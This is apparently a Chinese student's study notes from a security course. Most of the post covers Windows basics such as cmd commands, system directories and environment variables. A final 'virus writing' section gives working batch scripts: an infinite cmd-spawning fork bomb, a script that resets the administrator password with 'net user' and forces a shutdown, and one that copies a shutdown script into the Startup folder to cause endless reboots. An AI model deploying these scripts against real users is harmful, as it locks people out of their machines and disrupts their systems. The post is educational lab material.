WEB_星河飞雪_Windows(全)
Windows基础
这一节就主要将一些Windows的一些基础命令。
文件系统及其简述管理机制
首先linux操作系统有一个核心的概念就是——在linux中一切都是文件,几乎很多重要的东西都挂在根目录下(“/”),它采用的是fhs目录结构( Filesystem Hierarchy Standard ),块设备挂载到目录,如果想进一步知道什么是fhs可以自己搜搜。因此他不像Windows一样。
Windows 的设计理念与 Linux 的“一切皆文件”不同。 但是Windows也是有类似的概念的。Windows主要是通过注册表来存储配置和系统设置,但是在linux中这些是由配置文件实现的(/etc,/proc)。Windows更加偏向于通过专门的API接口来进行一些管理和操作(如对设备,进程,网络资源等),他是以盘符来管理文件的。在后面我们还会对linux和Windows操作系统进行一个比较分析
路径格式
Windows和linux的路径格式也不一样。比如在linux中是“/”(左划线)开始,并且区分大小写。在Windows里面是以“\”(右划线)开始,并且不区分大小写。\\我们自己的kali虚拟机就是linux操作系统的
与用户交互
Windows下主要是通过以下四种接口来与用户交互的
1.GUI图像化界面(就是你用鼠标点一下图标就可以运行的那种。好处是方便了,坏处就是没有直接通过命令执行那么快)
2.cmd命令行用户接口,里面存了很多预指令。那么如何查看这个指令呢?
我们win+R打开cmd,cd \回到根目录,然后输入HELP,即可看到他的一些指令,这里只选了一部分,然后课后的作业呢就是选一些重要的指令来进行一些实际的演示
可以装一个Win10或者win7的虚拟机,这个CSDN或者谷歌搜一下就可以了这个安装不是很难
3.wmic(之前这个是比较厉害的,不过后来微软他们想在Windows里面也想搞一个像ubuntu那样的shell出来,所以从21h1版本就已经被弃用了,被powershell替代)
4.powershell(应该自动化脚本框架,支持.net架构)
wsl(在Windows上面运行的一个子系统,如果不想在VMWARE里面搞虚拟机的话,可以在WSL里面搞一个ubuntu,kali没试过)
Windows常用命令
以下命令最好会默写,再不急也要想到这个什么操作好像有一个命令来自,不然到时候上谷歌或者edge查资料都不好查
cd //显示当前目录的名称或将其更改
cmd //打开另外有Windows命令解释程序端口
copy //将至少一个文件复制到另一个位置
del //删除至少一个文件
dir //显示一个目录中的文件和子目录
echo //显示消息,或者将命令回显打开或者关闭
erase //删除一个或者多个文件
find //在一个或者多个文件中搜索一个文本字符串
findstr //在多个文件中搜字符串
mkdir //创建一个目录
more //逐屏显示输出
move //将一个或者多个文件从一个目录移到另一个目录
ren //重命名文件命名
rmdir//删除目录
type //显示文本内容,相当于linux中的cat
attrib //显示或修改文件扩展名关联
bcdedit //
systeminfo//显示计算机的属性
start //启动单个窗口以运行程序
shutdown //允许本地或者远程方式关闭计算机
tasklist //显示包括服务在内的所有当前运行的任务
taskkill //终止正在运行的进程或者应用程序
time //显示或者设置系统时间
tracert //网络路径追踪
msinfo32 //查看系统一些属性及其设置
dir /A //查看系统当前目录下所有文件
dir /s flag.txt //搜索文件名
dir /tw/od //最近编辑的文件
当然上面这些命令的具体用法都可以在网上找到,所以这里只以dir的使用为一个简单例子,不重复造轮子了。可能有些命令用的会很少,但是也值得了解一下
Windows CMD常用命令大全(值得收藏)_cmd命令-CSDN博客然后这是一篇文章里面写一些常用的Windows命令,这些必须是课后复现一下当做作业。
那么我们先来复现一些重要的命令吧,就拿我的win10的一个虚拟机演示
这里cd显示当前目录类似于Linux的pwd,当然这些是我之前学过的,不过linux里面也有cd,用法和Windows里面也差不多,这里在cmd窗口里面Cd D。然后再按Tab可以补全 ,然后再dir,看看当前目录下的文件及其文件夹。然后我们还可以cd ..回退上一级目录在linux中也是如此。
然后这里echo和一些比较重要的用法比较重要单独拎出来讲讲。
echo用法
可以通过
echo fengqingsf666>>fengqing.txt
这一条指令来在当前目录创建一个fengqing.txt文件并且内容为fengqingsf666
那么如果我想要再写一行在这个fengqingsf666下面,还是这条指令吗?还用的话就会覆盖,可以自行上网搜搜
type
相当于linux里面的cat,获取文件里面的内容。typr+文件名即可获得文件里面的内容
ren
ren 原文件名字 新的文件名字
mkdir
tasklist
move
longyusec为一个目录
attrib
好像并不会显示目录
del
把1.rtf文件删除
erase
这也是删除文件,那么他和del有什么区别吗?为什么要搞两个这样的命令出来
copy
rmdir
在删除目录之前你得保证,你要删除的目录是空的,如果不是空的则会显示
把里面的文档移出来后删除成功
find
用法挺复杂的,先看看ai怎么说
-
- 在 Windows 的命令提示符(cmd)中,
find
命令主要用于在文件或者命令的输出结果中查找指定的字符串。基本语法是find [/V] [/C] [/N] [/I] [/OFF[LINE]] "string" [[drive:][path]filename[...]]
。 - 其中:
- 在 Windows 的命令提示符(cmd)中,
-
-
/V
:显示所有未包含指定字符串的行。例如,如果你有一个文件test.txt
,内容是 “apple\nbanana\ncherry”,使用find /V "banana" test.txt
,输出将是 “apple\ncherry”,即不包含 “banana” 的行。/C
:计算包含指定字符串的行数。比如对于文件test.txt
(内容同上),find /C "a" test.txt
会输出 “2”,因为有两行(“apple” 和 “banana”)包含字母 “a”。/N
:显示行号。如果执行find /N "e" test.txt
(文件内容同上),输出将是 “[1] apple\n [2] banana\n [3] cherry”,每行前面会显示行号,并且包含 “e” 的行也会显示出来。/I
:忽略大小写。例如,find /I "A" test.txt
(文件内容同上)会找到包含 “a” 或 “A” 的行。"string"
:这是要查找的字符串,必须用双引号引起来。[[drive:][path]filename[...]]
:这是要查找的文件路径和文件名,可以指定多个文件。如果不指定文件名,find
命令会尝试从标准输入(例如,另一个命令的输出)中读取内容。
-
- 在文件中查找字符串
-
- 假设你有一个文本文件
C:\Users\example\test.txt
,内容是 “Hello, world!\nThis is a test.”,要查找 “test” 这个字符串,可以在命令提示符中输入find "test" C:\Users\example\test.txt
,然后按回车键。 - 命令会在
test.txt
文件中查找 “test” 字符串,并输出包含该字符串的行,即 “This is a test.”。
- 假设你有一个文本文件
- 结合其他命令使用
-
- 例如,你可以结合
type
命令(用于显示文本文件的内容)来查找文件内容中的字符串。如果要查找当前目录下file1.txt
和file2.txt
中包含 “error” 的行,可以输入type file1.txt file2.txt | find "error"
。 - 这里
type
命令先将file1.txt
和file2.txt
的内容输出,管道符|
将输出结果传递给find
命令,find
命令再从中查找包含 “error” 的行。
- 例如,你可以结合
taskkill
这里taskkill我们需要使用taskkill + IM才能删除,不能直接+正在运行的文件名字。不过就算执行了,很多关于系统级别的进程,它会拒绝执行你的指令,可能需要管理员身份运行它
TASKKILL /F /IM cmd.exe /T
上面这条指令可以用来关闭你打开的cmd窗口,下面的这个哪怕我用管理员权限去执行,还是会给我警告
如果只是以普通的用户去执行的话甚至访问不了
最后如果你们搞到一般想不起来这个命令的一些用法了,又不想去查,就可以使用命令+ /?
如“taskklii /?”查看命令的帮助文档
那么你们会不会有一个问题呢?为什么我们已经有了这么方面快捷的图形化界面,还要学这么多指令呢?难道就是为了提块一点速度吗?当然不是,龙哥在课上也说过,如果后期我们渗透学的已经有能力拿下远程主机的话,我们是获取不到它的一个GUI界面的,只能通过命令行来交互,从而实现进一步的攻击(横向?还是打域?)。不过听别人说一些系统都是靠pwn攻进去,但是,目前不知道pwn在渗透中到底有什么作用,感觉哪些网站的漏洞,或者OA系统的一些漏洞靠栈溢出打吗?不懂,还是学的太浅了
Windows的一些重要文件目录
存放一些32位的程序,64位存储64位的程序
存储32位版本程序
隐藏目录,通常包含全局程序数据,所有登录用户都可以访问这些数据
user/public 用户共享文件夹,所用用户都有权限访问
user\[username]\appdata 隐藏子目录,存储用户应用程序数据和设置
Windows\system,system32,syswow64 存储动态链接文件,Windows和api的核心文件,最好不要乱动里面的东西,当然我说的是在操作自己电脑的时候。
然后我们再来了解一下环境变量
那么你们知道什么是环境变量吗?我想可能大多数人都没有怎么了解过,环境变量它的一个主要的作用就是。 通过设置环境变量,可以让用户在任何位置都能访问某些命令或文件,而不必每次都输入完整路径 。这是什么意思呢?如果我要执行qq.exe这个文件,那么我们就必须输入它的完整路径(桌面的快捷方式也只是对这个完整路径进行了一个封装而已)。那么如果我想要在任意位置下输入qq.exe就执行它可不可以呢?当然可以,前提是添加环境变量,Windows里面的很多工具也是这些的原理。
这里我直接在我的用户目录下输入qq.exe直接执行了程序,当然我在桌面或者是其他无论哪个路径输入我都可以执行,这就是因为我把它添加到了PATH环境变量中,如果不添加,则会显示找不到。
再拿ping来举例。ping
是一个可执行程序,它的所在路径必须在系统的 PATH
环境变量中。PATH
变量列出了操作系统查找可执行文件的目录。如果 ping
命令所在的目录没有添加到 PATH
中,用户就不能直接在命令行中使用 ping
命令,而需要指定完整的路径。
下面是一些查看环境变量的指令
echo %username%
echo %path%
echo %temp%
echo %userprofile%
set //当前命令下的环境变量列出
set p//查看名称p开头的环境变量
如何修改环境变量呢?看下图
这里就不方便演示了,先了解清楚原理,不然到时候在主机里面乱试,把一些重要的环境变量改了就不好了
Windos基础之病毒编写
先来学习几个有手就行的病毒吧
start cmd
%0
在文档里面写这个,然后再把后缀改为.bat再在Windows里面双击执行就可以了,建议不要在主机里面试,在虚拟机里面试一下就可以了。这里就是一个无限弹窗病毒,你双击执行这个.bat文件之后cmd命令就会一直执行,直到计算机资源耗尽为止。其实遇到这种的话关机就好了,但是有些可能就没那么简单了,所以当你们朋友发来一些奇奇怪怪的东西的时候,还是问清楚再运行的好
这就是在win7运行后的结果
作业1
然后我们先来完成一下泷哥布置的作业,实现下面这三个课后让我们复现的病毒。注意:不要在主机里面尝试,出现任何问题与本人无关。可以用虚拟机,win7,win10都可以,在进行尝试之前可以先存一个快照
(我一下用于演示的是winxp)
echo net user administrator 123456 > c:\windows\Temp\1.bat
echo shutdown /f /t 0 >> c:\windows\Temp\1.bat
c:\windows\Temp\1.bat
这段代码是什么意思呢?我们可以来虚拟机里面先试试这个代码块指令,我把它封装成了一个bat脚本,在Windows里双击即可运行
那么我们运行之后,计算机就会立即关机,然后要让我输入密码
之前我的winxp是没有设置密码的,之所以要密码是因为上面的net user administrator 123456这条语句修改了我们用户的密码(改后的密码是123456),可能高版本的话执行这条语句会失败,但是winxp和win7是可以的。那么如果我们收到了一个这样的文件,好奇地打开了它,那么你的电脑可能就得被锁机一段时间了。
我想这可能是最初的勒索软件的思路由来吧,或者感觉是属于是一种恶搞性质之类的,因为一般有点常识的人再看到.bat这种文件后缀的时候就应该不敢点了,不过现在的勒索软件可能有些看起来挺正常的,再加上好奇心严重的话就。。。。。不过如果后面对逆向感兴趣的话,这种勒索软件,病毒分析工程师貌似也是一个不错的岗位。
echo shutdown /n /t 0 >> c:\windows\Temp\1.bat
copy c:\windows\Temp\1.bat "%USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup\"
建议试之前存一个快照,这条指令的简要描述就是把shutdown的指令写入环境变量里面,然后导致每次电脑在开机的时候就会自动执行shutdown从导致无限重启。不过我在win7和win10的时候执行这条语句的时候,都显示拒绝访问,我在想如果是linux的话可能也就是一个sudo的事情吧,这里则需要以管理员方式运行cmd或者powershell。不过后面还是没有成功,但是貌似可以以另外一种方法来实现,毕竟他的原理是在启动的时候执行这个命令。到时候再试试
"USERPROFILE%\AppData\Roaming\Microsoft\windows\Start\Menu\Programs\Startup"
这段代码的实际效果是:将 1.bat
文件(一个批处理文件)复制到用户的启动文件夹中,使得每次用户登录时,这个批处理文件中的命令都会自动执行。
须知
本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径。若有人因此作出任何危害网络安全的行为,后果自负,与本人无关。
:严禁用Shodan干违法乱纪的事情,如果有人学习本篇文章后做出破坏法律的事情一律与本人无关,本篇文章只用作学习途径使用。也希望你们不要干坏事